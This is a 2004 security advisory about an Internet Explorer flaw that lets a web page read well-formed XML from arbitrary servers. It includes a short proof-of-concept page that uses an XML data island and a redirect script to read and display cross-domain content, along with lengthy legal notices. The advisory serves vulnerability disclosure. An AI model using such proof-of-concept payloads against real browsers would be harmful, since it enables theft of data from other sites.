Georgi Guninski security advisory #71, 2004
Yet another IE aperture
Systems affected:
tested on patched IE on win2k and xp
Date: 7 October 2004
Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may not modify it and distribute it or distribute
parts of it without the author's written permission - this especially
applies to so called "vulnerabilities databases" and securityfocus,
microsoft, cert and mitre.
If you want to link to this content use
the URL:
http://www.guninski.com/where_do_yo...day_1.html
Anything in this document may change without notice.
Disclaimer:
The information in this advisory is believed to be true
though
it may be false.
The opinions expressed in this advisory and program are my
own and not of any company. The usual standard
disclaimer applies, especially the fact that Georgi Guninski is
not liable for any damages caused by direct or indirect use
of the information or functionality provided by this advisory
or program. Georgi Guninski bears no responsibility for
content or misuse of this advisory or program or any
derivatives thereof.
Description:
By opening html in IE it is possible to read at least well formed xml
from arbitrary servers. The info then may be transmitted.
Details:
Consider this:
<html>
<script>
function f()
{
alert(document.all.x1.XMLDocument.xml);
}
</script>
<body onload="f()">
<script id="x1" language="xml"
src="/cgi-bin/redir.pl"></script>
<h1>
Copyright Georgi Guninski <br />
Cannot be used in any database
</h1>
</body>
</html>
redir.pl does a http redirect.
Georgi Guninski
http://www.guninski.com
http://www.guninski.com/where_do_yo...day_1.html 
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